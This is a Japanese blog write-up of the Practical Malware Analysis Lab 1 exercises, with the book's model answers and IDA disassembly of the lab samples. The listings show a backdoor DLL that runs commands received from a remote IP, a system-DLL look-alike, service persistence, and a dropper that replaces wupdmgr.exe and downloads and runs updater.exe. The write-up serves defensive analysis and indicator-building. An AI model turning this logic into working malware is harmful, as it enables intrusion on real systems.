PracticalMalwareAnalysis-Labs01 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab01のWriteUp。
まずは自分の解答 を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 1-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab01-01.exe32ビット EXEBB7425B82141A1C0F7D60E5106676BB1
Lab01-01.dll32ビット DLL290934C61DE9176AD682FFDD65F0A669

1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?

Lab01-01.exeLab01-01.dll共に複数のベンダーでTrojanあるいはMaliciousあるいはMalwareと検知された。マルウェアの種類は現時点では不明。

2. When were these files compiled?

PEviewでIMAGE_FILE_HEADERの値を確認した。結果は以下の通り。
Lab01-01.exeのコンパイル日時は2010/12/19 Sun 16:16:19 UTC
Lab01-01.dllのコンパイル日時は2010/12/19 Sun 16:16:38 UTC

3. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators?

CFF ExplorerやDetect It Easyでファイルのヘッダーやセクションを確認したりstringsを走らせてみた。特にパッキングや難読化の兆候は見受けられなかった。

4. Do any imports hint at what this malware does? If so, which imports are they?

Lab01-01.exeにはCreateFileA、CopyFileA、FindFirstFileA、FindNextFileAなどのファイル操作に関連する関数がインポートされていた。よってLab01-01.exeは何らかのファイル操作を行うと考えられる。

Lab01-01.dllにはCreateProcessA、OpenMutexA、CreateMutexAがインポートされていた。またWS2_32.dllからもいくつか関数をインポートしていた。WS2_32.dllはネットワーク通信関連のDLLである。CFF Explorerで確認したところ、WS2_32.dllからインポートされている関数はOrdinalとなっており具体的な関数名はわからなかった。IDAでLab01-01.dllをロードしたところ、socket、closesocket、WSAStartup、WSACleanup、connect、send、recvなどの関数をインポートしているのが確認できた。よってLab01-01.dllは何らかのネットワーク通信を行い、またプロセスやミューテックスを作成することが分かった。

5. Are there any other files or host-based indicators that you could look for on infected systems?

Lab01-01.exeにstringsを走らせたところ、C:\windows\system32\kerne132.dllkerne132.dllおよびLab01-01.dllのファイル名が確認できた。C:\windows\system32\kerne132.dllkerne132.dllのファイル名はkernel32.dllを装っており、特に不審と言える。(kerne132.dll、小文字のlではなく数字の1になっている)

Lab01-01.dllSADFHUHFという名前のミューテックスを作成・参照している。ミューテックスは原則、一意の名前がつけられるためHBIとして有効。

.text:10001067 68 38 60 02 10          push    offset Name     ; "SADFHUHF"
.text:1000106C 50                      push    eax             ; bInitialOwner
.text:1000106D 50                      push    eax             ; lpMutexAttributes
.text:1000106E FF 15 08 20 00 10       call    ds:CreateMutexA
.text:10001074 8D 4C 24 78             lea     ecx, [esp+1208h+WSAData]
.text:10001078 51                      push    ecx             ; lpWSAData
.text:10001079 68 02 02 00 00          push    202h            ; wVersionRequested
.text:1000107E FF 15 34 20 00 10       call    ds:WSAStartup
.text:10001084 85 C0                   test    eax, eax
.text:10001086 0F 85 5C 01 00 00       jnz     loc_100011E8


6. What network-based indicators could be used to find this malware on infected machines?

Lab01-01.dllにstringsを走らせたところ、127.26.152.13というIPアドレスが確認できた。IDAで手早く確認したところ、TCPポート番号80を介して127.26.152.13と通信を行う模様。

.text:1000108C 6A 06                   push    6               ; protocol
.text:1000108E 6A 01                   push    1               ; type
.text:10001090 6A 02                   push    2               ; af
.text:10001092 FF 15 30 20 00 10       call    ds:socket
.text:10001098 8B F0                   mov     esi, eax
.text:1000109A 83 FE FF                cmp     esi, 0FFFFFFFFh
.text:1000109D 0F 84 3F 01 00 00       jz      loc_100011E2

---

.text:100010A3 68 28 60 02 10          push    offset cp       ; "127.26.152.13"
.text:100010A8 66 C7 44 24 18 02 00    mov     [esp+120Ch+name.sa_family], 2
.text:100010AF FF 15 38 20 00 10       call    ds:inet_addr
.text:100010B5 6A 50                   push    50h             ; hostshort
.text:100010B7 89 44 24 1C             mov     dword ptr [esp+120Ch+name.sa_data+2], eax
.text:100010BB FF 15 54 20 00 10       call    ds:htons
.text:100010C1 8D 54 24 14             lea     edx, [esp+1208h+name]
.text:100010C5 6A 10                   push    10h             ; namelen
.text:100010C7 52                      push    edx             ; name
.text:100010C8 56                      push    esi             ; s
.text:100010C9 66 89 44 24 22          mov     word ptr [esp+1214h+name.sa_data], ax
.text:100010CE FF 15 3C 20 00 10       call    ds:connect
.text:100010D4 83 F8 FF                cmp     eax, 0FFFFFFFFh
.text:100010D7 0F 84 FE 00 00 00       jz      loc_100011DB


7. What would you guess is the purpose of these files?

Lab01-01.exeLab01-01.dllC:\windows\system32\kerne132.dllとしてコピーする。またFindFirstFileA、FindNextFileAを呼び出してCドライブ上のディレクトリやファイルを列挙する。

.text:004017D4                         loc_4017D4:
.text:004017D4 8B 4C 24 4C             mov     ecx, [esp+54h+hObject]
.text:004017D8 8B 35 00 20 40 00       mov     esi, ds:CloseHandle
.text:004017DE 51                      push    ecx             ; hObject
.text:004017DF FF D6                   call    esi ; CloseHandle
.text:004017E1 8B 54 24 50             mov     edx, [esp+54h+var_4]
.text:004017E5 52                      push    edx             ; hObject
.text:004017E6 FF D6                   call    esi ; CloseHandle
.text:004017E8 6A 00                   push    0               ; bFailIfExists
.text:004017EA 68 4C 30 40 00          push    offset NewFileName ; "C:\\windows\\system32\\kerne132.dll"
.text:004017EF 68 7C 30 40 00          push    offset ExistingFileName ; "Lab01-01.dll"
.text:004017F4 FF 15 24 20 40 00       call    ds:CopyFileA
.text:004017FA 85 C0                   test    eax, eax
.text:004017FC 6A 00                   push    0               ; int
.text:004017FE 75 06                   jnz     short loc_401806

---

.text:00401806                         loc_401806:
.text:00401806 68 44 30 40 00          push    offset aC       ; "C:\\*"
.text:0040180B E8 D0 F9 FF FF          call    FindFile_4011E0
.text:00401810 83 C4 08                add     esp, 8

Lab01-01.dllはTCPポート番号80を介してIPアドレス127.26.152.13と通信を行う。127.26.152.13からのレスポンス・データの中にsleepという文字が含まれていた場合、60秒間スリープする。127.26.152.13からのレスポンス・データの中にexecという文字が含まれていた場合、任意のコマンドを実行する。
127.26.152.13からのレスポンス・データの中にqという文字が含まれていた場合、ソケットを閉じてネットワーク通信を終了する。そのほかにSADFHUHFという名前のミューテックスを作成・参照する。

.text:10001122 6A 00                   push    0               ; flags
.text:10001124 8D 84 24 0C 02 00 00    lea     eax, [esp+120Ch+buf]
.text:1000112B 68 00 10 00 00          push    1000h           ; len
.text:10001130 50                      push    eax             ; buf
.text:10001131 56                      push    esi             ; s
.text:10001132 FF 15 48 20 00 10       call    ds:recv
.text:10001138 85 C0                   test    eax, eax
.text:1000113A 7E AD                   jle     short loc_100010E9

---

.text:1000113C 8D 8C 24 08 02 00 00    lea     ecx, [esp+1208h+buf]
.text:10001143 6A 05                   push    5               ; MaxCount
.text:10001145 51                      push    ecx             ; Str2
.text:10001146 68 18 60 02 10          push    offset Str1     ; "sleep"
.text:1000114B FF D5                   call    ebp ; strncmp
.text:1000114D 83 C4 0C                add     esp, 0Ch
.text:10001150 85 C0                   test    eax, eax
.text:10001152 75 0D                   jnz     short loc_10001161

---

.text:10001154 68 00 00 06 00          push    60000h          ; dwMilliseconds
.text:10001159 FF 15 00 20 00 10       call    ds:Sleep
.text:1000115F EB 88                   jmp     short loc_100010E9
.text:10001161                         loc_10001161:
.text:10001161 8D 94 24 08 02 00 00    lea     edx, [esp+1208h+buf]
.text:10001168 6A 04                   push    4               ; MaxCount
.text:1000116A 52                      push    edx             ; Str2
.text:1000116B 68 10 60 02 10          push    offset aExec    ; "exec"
.text:10001170 FF D5                   call    ebp ; strncmp
.text:10001172 83 C4 0C                add     esp, 0Ch
.text:10001175 85 C0                   test    eax, eax
.text:10001177 75 3D                   jnz     short loc_100011B6

---

.text:10001179 B9 11 00 00 00          mov     ecx, 11h
.text:1000117E 8D 7C 24 34             lea     edi, [esp+1208h+StartupInfo]
.text:10001182 F3 AB                   rep stosd
.text:10001184 8D 44 24 24             lea     eax, [esp+1208h+ProcessInformation]
.text:10001188 8D 4C 24 34             lea     ecx, [esp+1208h+StartupInfo]
.text:1000118C 50                      push    eax             ; lpProcessInformation
.text:1000118D 51                      push    ecx             ; lpStartupInfo
.text:1000118E 6A 00                   push    0               ; lpCurrentDirectory
.text:10001190 6A 00                   push    0               ; lpEnvironment
.text:10001192 68 00 00 00 08          push    8000000h        ; dwCreationFlags
.text:10001197 6A 01                   push    1               ; bInheritHandles
.text:10001199 6A 00                   push    0               ; lpThreadAttributes
.text:1000119B 8D 94 24 29 02 00 00    lea     edx, [esp+1224h+CommandLine]
.text:100011A2 6A 00                   push    0               ; lpProcessAttributes
.text:100011A4 52                      push    edx             ; lpCommandLine
.text:100011A5 6A 00                   push    0               ; lpApplicationName
.text:100011A7 C7 44 24 5C 44 00 00 00 mov     [esp+1230h+StartupInfo.cb], 44h
.text:100011AF FF D3                   call    ebx ; CreateProcessA
.text:100011B1 E9 33 FF FF FF          jmp     loc_100010E9
.text:100011B6                         loc_100011B6:
.text:100011B6 80 BC 24 08 02 00 00 71 cmp     [esp+1208h+buf], 'q'
.text:100011BE 74 10                   jz      short loc_100011D0

---

.text:100011D0 8B 44 24 10             mov     eax, [esp+1208h+hObject]
.text:100011D4 50                      push    eax             ; hObject
.text:100011D5 FF 15 10 20 00 10       call    ds:CloseHandle

---

.text:100011DB                         loc_100011DB:           ; s
.text:100011DB 56                      push    esi
.text:100011DC FF 15 4C 20 00 10       call    ds:closesocket


Lab 1-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab01-02.exe32ビット EXE8363436878404DA0AE3E46991E355B83

1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/ . Does it match any existing antivirus definitions?

複数のベンダーでTrojanあるいはMaliciousあるいはMalwareと検知された。マルウェアの種類は現時点では不明。

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

ファイルをCFF Explorerで確認したところ、UPX0、UPX1、UPX2というセクション名を発見。UPXパックされている模様。upx -dでファイルをアンパックできた。アンパック後のファイルのMD5ハッシュ値はAE4CA70697DF5506BC610172CFC288E7。

3. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?

アンパック後のファイルで特に目を引いたインポート関数は以下の通り。

  • CreateServiceA
  • InternetOpenUrlA
  • InternetOpenA

Windowsサービスを作成し、ネットワーク通信を行うものと推測できる。

4. What host- or network-based indicators could be used to identify this malware on infected machines?

strings及びIDAでアンパック後のファイルを眺めてみた。

HBI

  • HGL345という名前のミューテックスを作成、参照する
  • Malserviceという名前のWindowsサービスを作成する
.text:00401065 68 28 30 40 00          push    offset Name     ; "HGL345"
.text:0040106A 6A 00                   push    0               ; bInitialOwner
.text:0040106C 6A 00                   push    0               ; lpMutexAttributes
.text:0040106E FF 15 2C 20 40 00       call    ds:CreateMutexA

---

.text:0040109C 8D 4C 24 2C             lea     ecx, [esp+414h+Filename]
.text:004010A0 6A 00                   push    0               ; lpLoadOrderGroup
.text:004010A2 51                      push    ecx             ; lpBinaryPathName
.text:004010A3 6A 00                   push    0               ; dwErrorControl
.text:004010A5 6A 02                   push    2               ; dwStartType
.text:004010A7 6A 10                   push    10h             ; dwServiceType
.text:004010A9 6A 02                   push    2               ; dwDesiredAccess
.text:004010AB 68 1C 30 40 00          push    offset DisplayName ; "Malservice"
.text:004010B0 68 1C 30 40 00          push    offset DisplayName ; "Malservice"
.text:004010B5 56                      push    esi             ; hSCManager
.text:004010B6 FF 15 00 20 40 00       call    ds:CreateServiceA


NBI

  • http://www.malwareanalysisbook[.]comというURLと通信を行う。通信の際に用いられるユーザーエージェント名はInternet Explorer 8.0
.text:00401152 6A 00                   push    0               ; dwFlags
.text:00401154 6A 00                   push    0               ; lpszProxyBypass
.text:00401156 6A 00                   push    0               ; lpszProxy
.text:00401158 6A 01                   push    1               ; dwAccessType
.text:0040115A 68 54 30 40 00          push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F FF 15 74 20 40 00       call    ds:InternetOpenA
.text:00401165 8B 3D 70 20 40 00       mov     edi, ds:InternetOpenUrlA
.text:0040116B 8B F0                   mov     esi, eax

---

.text:0040116D 6A 00                   push    0
.text:0040116F 68 00 00 00 80          push    80000000h       ; dwFlags
.text:00401174 6A 00                   push    0               ; dwHeadersLength
.text:00401176 6A 00                   push    0               ; lpszHeaders
.text:00401178 68 30 30 40 00          push    offset szUrl    ; "http://www.malwareanalysisbook.com"
.text:0040117D 56                      push    esi             ; hInternet
.text:0040117E FF D7                   call    edi ; InternetOpenUrlA


Lab 1-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab01-03.exe32ビット EXE9C5C27494C28ED0B14853B346B113145

1. Upload the Lab-01-03.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

複数のベンダーでTrojanあるいはMaliciousあるいはMalwareあるいはSpywareと検知された。マルウェアの種類は現時点では不明。

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

ファイルのヘッダー情報よりFSG v1.00 (Eng) -> dulek/xtというファイル情報が確認できた。セクション情報を確認するとVirtual Sizeが非ゼロであるのに対してRaw Sizeがゼロであった。またインポートされている関数もLoadLibraryAとGetProcAddressの2つのみ。これらはファイルがパッキングされている兆候であると考えられる。OllyDbgのプラグイン"Find OEP by Section Hop"でOEPに飛んだ後、"Dump debugged process"でファイルをアンパックできた。アンパック後のMD5ハッシュ値は54A1A761E8FF5243A4EB1CD967CAE167。

3. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?

アンパック後のファイルには複数のCの標準ライブラリ関数がインポートされていた。__getmainargs関数より、ファイルはコマンドライン引数を受け取ると推測できる。またole32.dllよりOleInitialize、CoCreateInstance、OleUninitializeの3つの関数をインポートしていた。これらの関数より、ファイルはCOMオブジェクトを作成すると考えられる。

4. What host- or network-based indicators could be used to identify this malware on infected machines?

HBI

  • CLSID 2DF01-0000-C06046およびIID D30C1661-CDAF-11D0-8A3E-00C04FC9E26E (IDAがイマイチ値をきれいにパースできなかったので、正しい値ではないかも)
seg000:00401013 50                      push    eax             ; ppv
seg000:00401014 68 68 20 40 00          push    offset riid     ; riid
seg000:00401019 6A 04                   push    4               ; dwClsContext
seg000:0040101B 6A 00                   push    0               ; pUnkOuter
seg000:0040101D 68 58 20 40 00          push    offset rclsid   ; rclsid
seg000:00401022 FF 15 4C 20 40 00       call    CoCreateInstance


NBI

  • http://www.malwareanalysisbook[.]com/ad.htmlというURLが確認できた。
seg000:00401030 8D 4C 24 04             lea     ecx, [esp+24h+var_20]
seg000:00401034 56                      push    esi
seg000:00401035 51                      push    ecx
seg000:00401036 FF 15 38 20 40 00       call    dword ptr byte_402034+4
seg000:0040103C 68 10 30 40 00          push    offset aHttpWwwMalware ; "http://www.malwareanalysisbook.com/ad.h"...
seg000:00401041 66 C7 44 24 1C 03 00    mov     [esp+2Ch+var_10], 3
seg000:00401048 C7 44 24 24 01 00 00 00 mov     [esp+2Ch+var_8], 1
seg000:00401050 FF 15 3C 20 40 00       call    dword ptr byte_402034+8

Lab 1-4

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab01-04exe32ビット EXE625AC05FD47ADC3C63700C3B30DE79AB

1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

複数のベンダーでTrojanあるいはMaliciousあるいはMalwareあるいはDownloaderと検知された。マルウェアの種類は現時点では不明。

2. Are there any indicators that this file is packed or obfuscated? If so, what these indicators? If the file is packed, unpack it if possible.

パッキングや難読化は施されていなかったがリソースセクションにEXEファイルが埋め込まれていた。

3. When was this program compiled?

PEviewでIMAGE_FILE_HEADERの値を確認した結果、コンパイル日時は2019/08/30 Fri 22:26:59 UTCと判明した。

4. Do any imports hint at this program's functionality? If so, which imports are they and what do they tell you?

特に目を引いたインポート関数は以下の通り。

  • WinExec
  • WriteFile
  • CreateFileA
  • FindResourceA
  • LoadResource
  • CreateRemoteThread

WinExecより任意のアプリケーションを実行できるものと推測できる。WriteFile / CreateFileAよりファイルの書き込み・作成を行うものと推測できる。FindResourceA / LoadResourceよりリソースセクションからペイロードを抽出するものと推測できる。CreateRemoteThreadよりリモートのプロセスに対して何らかのインジェクションを行うものと推測できる。

5. What host- or network-based indicators could be used to identify this malware on infected machines?

HBI

  • ファイル名 winup.exe: 正規の\system32\wupdmgr.exewinup.exeにリネームしてバックアップする模様。
  • リソース名 101: 101という名前のリソースを抽出する模様
  • ファイル名 \system32\wupdmgr.exe : リソースセクション (101) からEXEファイルを抽出し、\system32\wupdmgr.exeとして保存する模様。
  • IDAでは表示されなかったがファイルにstringsを走らせたところ、\system32\wupdmgrd.exeというファイル名が確認できた。おそらく、このファイル名はリソースセクションのEXEファイルにハードコードされているものと思われる。リソースセクションのEXEの解析は次項を参照。
.text:00401506 68 0E 01 00 00          push    10Eh            ; uSize
.text:0040150B 8D 95 DC FD FF FF       lea     edx, [ebp+Buffer]
.text:00401511 52                      push    edx             ; lpBuffer
.text:00401512 FF 15 34 20 40 00       call    ds:GetWindowsDirectoryA
.text:00401518 68 D4 30 40 00          push    offset aSystem32Wupdmg_0 ; "\\system32\\wupdmgr.exe"
.text:0040151D 8D 85 DC FD FF FF       lea     eax, [ebp+Buffer]
.text:00401523 50                      push    eax
.text:00401524 68 EC 30 40 00          push    offset aSS_0    ; "%s%s"
.text:00401529 68 0E 01 00 00          push    10Eh            ; Count
.text:0040152E 8D 8D A8 EB FF FF       lea     ecx, [ebp+Dest]
.text:00401534 51                      push    ecx             ; Dest
.text:00401535 FF 15 54 20 40 00       call    ds:_snprintf
.text:0040153B 83 C4 14                add     esp, 14h
.text:0040153E 8D 95 F0 FE FF FF       lea     edx, [ebp+var_110]
.text:00401544 52                      push    edx             ; lpBuffer
.text:00401545 68 0E 01 00 00          push    10Eh            ; nBufferLength
.text:0040154A FF 15 3C 20 40 00       call    ds:GetTempPathA
.text:00401550 68 F4 30 40 00          push    offset aWinupExe ; "\\winup.exe"
.text:00401555 8D 85 F0 FE FF FF       lea     eax, [ebp+var_110]
.text:0040155B 50                      push    eax
.text:0040155C 68 00 31 40 00          push    offset aSS_1    ; "%s%s"
.text:00401561 68 0E 01 00 00          push    10Eh            ; Count
.text:00401566 8D 8D B8 EC FF FF       lea     ecx, [ebp+NewFileName]
.text:0040156C 51                      push    ecx             ; Dest
.text:0040156D FF 15 54 20 40 00       call    ds:_snprintf
.text:00401573 83 C4 14                add     esp, 14h
.text:00401576 8D 95 B8 EC FF FF       lea     edx, [ebp+NewFileName]
.text:0040157C 52                      push    edx             ; lpNewFileName "winup.exe"
.text:0040157D 8D 85 A8 EB FF FF       lea     eax, [ebp+Dest]
.text:00401583 50                      push    eax             ; lpExistingFileName "\\system32\\wupdmgr.exe"
.text:00401584 FF 15 38 20 40 00       call    ds:MoveFileA
.text:0040158A E8 6D FC FF FF          call    Create_Mal_wupdmgr_4011FC ; "extract EXE from resource section and save as wupdmgr.exe"
.text:0040126C 8D 85 E4 FE FF FF       lea     eax, [ebp+Buffer]
.text:00401272 50                      push    eax             ; lpBuffer
.text:00401273 FF 15 34 20 40 00       call    ds:GetWindowsDirectoryA
.text:00401279 68 4C 30 40 00          push    offset aSystem32Wupdmg ; "\\system32\\wupdmgr.exe"
.text:0040127E 8D 8D E4 FE FF FF       lea     ecx, [ebp+Buffer]
.text:00401284 51                      push    ecx
.text:00401285 68 64 30 40 00          push    offset Format   ; "%s%s"
.text:0040128A 68 0E 01 00 00          push    10Eh            ; Count
.text:0040128F 8D 95 CC FD FF FF       lea     edx, [ebp+Dest]
.text:00401295 52                      push    edx             ; Dest
.text:00401296 FF 15 54 20 40 00       call    ds:_snprintf
.text:0040129C 83 C4 14                add     esp, 14h
.text:0040129F 6A 00                   push    0               ; lpModuleName
.text:004012A1 FF 15 30 20 40 00       call    ds:GetModuleHandleA
.text:004012A7 89 45 F4                mov     [ebp+hModule], eax
.text:004012AA 68 6C 30 40 00          push    offset Type     ; "BIN"
.text:004012AF 68 70 30 40 00          push    offset Name     ; "#101"
.text:004012B4 8B 45 F4                mov     eax, [ebp+hModule]
.text:004012B7 50                      push    eax             ; hModule
.text:004012B8 FF 15 2C 20 40 00       call    ds:FindResourceA
.text:004012BE 89 85 DC FE FF FF       mov     [ebp+hResInfo], eax
.text:004012C4 8B 8D DC FE FF FF       mov     ecx, [ebp+hResInfo]
.text:004012CA 51                      push    ecx             ; hResInfo
.text:004012CB 8B 55 F4                mov     edx, [ebp+hModule]
.text:004012CE 52                      push    edx             ; hModule
.text:004012CF FF 15 4C 20 40 00       call    ds:LoadResource
.text:004012D5 89 45 F8                mov     [ebp+lpBuffer], eax
.text:004012D8 8B 85 DC FE FF FF       mov     eax, [ebp+hResInfo]
.text:004012DE 50                      push    eax             ; hResInfo
.text:004012DF 8B 4D F4                mov     ecx, [ebp+hModule]
.text:004012E2 51                      push    ecx             ; hModule
.text:004012E3 FF 15 24 20 40 00       call    ds:SizeofResource
.text:004012E9 89 85 E0 FE FF FF       mov     [ebp+nNumberOfBytesToWrite], eax
.text:004012EF 6A 00                   push    0               ; hTemplateFile
.text:004012F1 6A 00                   push    0               ; dwFlagsAndAttributes
.text:004012F3 6A 02                   push    2               ; dwCreationDisposition
.text:004012F5 6A 00                   push    0               ; lpSecurityAttributes
.text:004012F7 6A 01                   push    1               ; dwShareMode
.text:004012F9 68 00 00 00 40          push    40000000h       ; dwDesiredAccess
.text:004012FE 8D 95 CC FD FF FF       lea     edx, [ebp+Dest] ; "\\system32\\wupdmgr.exe"
.text:00401304 52                      push    edx             ; lpFileName
.text:00401305 FF 15 20 20 40 00       call    ds:CreateFileA
.text:0040130B 89 85 C8 FD FF FF       mov     [ebp+hFile], eax
.text:00401311 6A 00                   push    0               ; lpOverlapped
.text:00401313 8D 45 FC                lea     eax, [ebp+NumberOfBytesWritten]
.text:00401316 50                      push    eax             ; lpNumberOfBytesWritten
.text:00401317 8B 8D E0 FE FF FF       mov     ecx, [ebp+nNumberOfBytesToWrite]
.text:0040131D 51                      push    ecx             ; nNumberOfBytesToWrite
.text:0040131E 8B 55 F8                mov     edx, [ebp+lpBuffer]
.text:00401321 52                      push    edx             ; lpBuffer
.text:00401322 8B 85 C8 FD FF FF       mov     eax, [ebp+hFile]
.text:00401328 50                      push    eax             ; hFile
.text:00401329 FF 15 1C 20 40 00       call    ds:WriteFile


NBI

  • IDAでは表示されなかったが、ファイルにstringsを走らせたところ、URLDownloadToFileAとともにhttp://www.practicalmalwareanalysis[.]com/updater.exeというURLが確認できた。おそらく、このURLはリソースセクションのEXEファイルにハードコードされているものと思われる。リソースセクションのEXEの解析は次項を参照。

6. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?

CFF Explorerでリソースセクションに埋め込まれているEXEファイルを抽出した。抽出したファイルのMD5ハッシュ値は6A95C2F88E0C09A91D69FFB98BC6FCE8。IDAで手早くファイルを眺めてみたところ、WinExecでwinup.exeを実行し、さらにURL http://www.practicalmalwareanalysis[.]com/updater.exeからファイルをダウンロードして\system32\wupdmgrd.exeとして保存する模様。

.text:00401082 68 10 30 40 00          push    offset aWinupExe ; "\\winup.exe"
.text:00401087 8D 8D E0 FD FF FF       lea     ecx, [ebp+Buffer]
.text:0040108D 51                      push    ecx
.text:0040108E 68 1C 30 40 00          push    offset Format   ; "%s%s"
.text:00401093 68 0E 01 00 00          push    10Eh            ; Count
.text:00401098 8D 95 F0 FE FF FF       lea     edx, [ebp+Dest]
.text:0040109E 52                      push    edx             ; Dest
.text:0040109F FF 15 14 20 40 00       call    ds:_snprintf
.text:004010A5 83 C4 14                add     esp, 14h
.text:004010A8 6A 05                   push    5               ; uCmdShow
.text:004010AA 8D 85 F0 FE FF FF       lea     eax, [ebp+Dest]
.text:004010B0 50                      push    eax             ; lpCmdLine "winup.exe"
.text:004010B1 FF 15 00 20 40 00       call    ds:WinExec
.text:004010B7 68 0E 01 00 00          push    10Eh            ; uSize
.text:004010BC 8D 8D D0 FC FF FF       lea     ecx, [ebp+var_330]
.text:004010C2 51                      push    ecx             ; lpBuffer
.text:004010C3 FF 15 08 20 40 00       call    ds:GetWindowsDirectoryA
.text:004010C9 68 24 30 40 00          push    offset aSystem32Wupdmg ; "\\system32\\wupdmgrd.exe"
.text:004010CE 8D 95 D0 FC FF FF       lea     edx, [ebp+var_330]
.text:004010D4 52                      push    edx
.text:004010D5 68 3C 30 40 00          push    offset aSS_0    ; "%s%s"
.text:004010DA 68 0E 01 00 00          push    10Eh            ; Count
.text:004010DF 8D 85 C0 FB FF FF       lea     eax, [ebp+CmdLine]
.text:004010E5 50                      push    eax             ; Dest
.text:004010E6 FF 15 14 20 40 00       call    ds:_snprintf
.text:004010EC 83 C4 14                add     esp, 14h
.text:004010EF 6A 00                   push    0               ; LPBINDSTATUSCALLBACK
.text:004010F1 6A 00                   push    0               ; DWORD
.text:004010F3 8D 8D C0 FB FF FF       lea     ecx, [ebp+CmdLine]
.text:004010F9 51                      push    ecx             ; LPCSTR "\\system32\\wupdmgrd.exe"
.text:004010FA 68 44 30 40 00          push    offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004010FF 6A 00                   push    0               ; LPUNKNOWN
.text:00401101 E8 26 00 00 00          call    URLDownloadToFileA
.text:00401106 89 85 BC FB FF FF       mov     [ebp+var_444], eax
.text:0040110C 83 BD BC FB FF FF 00    cmp     [ebp+var_444], 0
.text:00401113 75 0F                   jnz     short loc_401124
---
.text:00401115 6A 00                   push    0               ; uCmdShow
.text:00401117 8D 95 C0 FB FF FF       lea     edx, [ebp+CmdLine]
.text:0040111D 52                      push    edx             ; lpCmdLine "\\system32\\wupdmgrd.exe"
.text:0040111E FF 15 00 20 40 00       call    ds:WinExec

模範解答

Lab 1-1
1. These files were written specifically for this book, so as of this writing, you should not find a signature for them on VirtsTotal.com. Of course, if these files become part of the antivirus signatures as a result of the publication of this book, the results will be different

2. Both files were compiled on December 19, 2010, within 1 minute of each other.

3. There are no indications that either file is packed or obfuscated.

4. The interesting imports from Lab01-01.exe are FindFirstFile, FindNextFile, and CopyFile. These imports tell us that the program searches the file system and copies files. The most interesting imports from Lab01-01.dll are CreateProcess and Sleep. We also see that this file imports functions from WS_32.dll, which provides network functionality.

5. Examine C:\Windows\System32\kerne132.dll for additional malicious activity. Note that the file kerne132.dll, with the number 1 instead of the letter l, is meant to look like the system file kernel32.dll. This file can be used as a host indicator to search for the malware.

6. The .dll file contains a reference to local IP address 127.26.152.13. This address is an artifact of this program having been created for educational and not malicious purpose. If this was real malware, the IP address should be routable, and it would be a good network-based indicator for use in identifying this malware.

7. The .dll is probably backdoor. The .exe file is used to install or run the DLL.

Lab 1-2
1. As of this writing, the file matches 3 of 41 antivirus signatures.

2. There are several indications that the program is packed with UPX. You can unpack it by downloading UPX and running upx -d

3. After unpacking the file, you'll see that the most interesting imports are CreateService, InternetOpen and InternetOpenURL.

4. You should check infected machines for a service called Malservice and for network traffic http://www.malwareanalysisbook[.]com/.

Lab 1-3
1. As of this writing, 25 of 43 virus engines identify this sample as malware.

2. The file is packed, but we can't unpack it at this time.

3. This question can't be answered without unpacking the file.

4. This question can't be answered without unpacking the file.

Lab 1-4
1. As of this writing, 16 of 43 antiviurs engines identify this as malicious code that downloads and / or drops additional malware onto a system.

2. There are no indications that the file is packed or obfuscated.

3. According to the file header, this program was compiled in August 2019. Clearly, the compile time is faked, and we can't determine when the file was compiled.

4. The imports from advapi32.dll indicate that the program is doing something with permissions. The imports WinExec and WriteFile, along with the results from VirusTotal.com, tell us that the program writes a file to disk and then executes it. There are also imports for reading information from the resource section of the file.

5. The string \system32\wupdmgr.exe indicates that this program could create or modify a file at that location. The string www.malwareanalysisbook[.]com/updater.exe probably indicates where additional malware is stored, ready for download.

6. The resource section contains another PE executable. Use Resource Hacker to save the resource as binary data, and then analyze the binary file as you would analyze any executable. The executable in the resource section is a downloader program that downloads additional malware.

Leave a Reply

Your email address will not be published. Required fields are marked *